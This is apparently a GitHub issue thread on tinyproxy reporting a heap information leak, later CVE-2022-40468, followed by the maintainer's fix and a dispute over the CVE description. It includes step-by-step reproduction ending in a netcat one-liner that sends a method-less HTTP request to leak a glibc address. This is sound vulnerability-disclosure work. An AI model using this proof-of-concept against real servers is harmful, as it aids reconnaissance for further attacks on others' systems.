New issue

Jump to bottom

Potential runtime system sensitive information disclosure through special HTTP requests. #457

Closed yikesoftware opened this issue on Sep 8 · 4 comments

yikesoftware commented on Sep 8 • edited

> ubuntu 22.04
> GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.

1. Clone & Compile

```
git clone https://github.com/tinyproxy/tinyproxy
cd tinyproxy
./autogen.sh
./configure
make
```

2. Create a config file

```
vi ./1.conf

Port 8888
Listen 0.0.0.0
Bind 0.0.0.0
Timeout 600
DefaultErrorFile "./default.html"
StatHost "127.0.0.1"
LogFile "./tinyproxy.log"
Syslog Off
LogLevel Info
Allow 0.0.0.0/0
ViaProxyName "tinyproxy"
```

3. Add one line to original default page

```
cp data/templates/default.html ./
sed -i '16a\<p>Url: {url}</p>' ./default.html
```

4. Start tinyproxy server

```
./src/tinyproxy -c ./1.conf -d
```

5. Send HTTP request (Without HTTP method field)

```
#!/bin/bash

echo -ne                                \
" http://www.baidu.com/ HTTP/1.1\r\n    \
host: www.baidu.com\r\n                 \
User-Agent: fuck\r\n                    \
Accept: */*\r\n                         \
Proxy-Connection: Keep-Alive\r\n\r\n"   \
| nc 127.0.0.1 8888                     \
| grep -a "Url: "                       \
| hexdump -C
```

5. The "URL" line in the result prints out the address of Glibc, which may be useful for attackers to launch attacks in the future.

 **rofl0r** closed this as completed in `3764b85` on Sep 8

---

rofl0r commented on Sep 8 — Contributor

thanks for report, seems fixed to me now

🚀 1

---

rofl0r commented on Sep 30 — Contributor

in case you're a CVE hunter, congrats! this issue was assigned CVE-2022-40468.

but now i have to become bullshit hunter:

> CVE-2022-40468 Detail Current Description Tinyproxy commit `84f203f` and earlier does not process HTTP request lines in the process_request () function and is using uninitialized buffers. This vulnerability allows attackers to access sensitive information at system runtime.

the sentence "does not process HTTP request lines in the process_request () function" is total BS, and the issue is a non-issue for anyone except people that use custom error page templates containing the variables which my commit fixes. the default error page template doesn't contain them, and the built-in error page in html-error.c either.

a proper description for this CVE would be "potential leak of left-over heap data if custom error page templates containing special non-standard variables are used".

so unless you did something special with your error page template, you dont have to worry about this CVE, despite the scary description on NIST CVE database.

yikesoftware commented on Sep 30 Author

Calm down. The actual cve description is not exactly the same as what I submitted. I'm not sure why.

yikesoftware commented on Oct 12 Author

CVE description updated.

👍 1

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants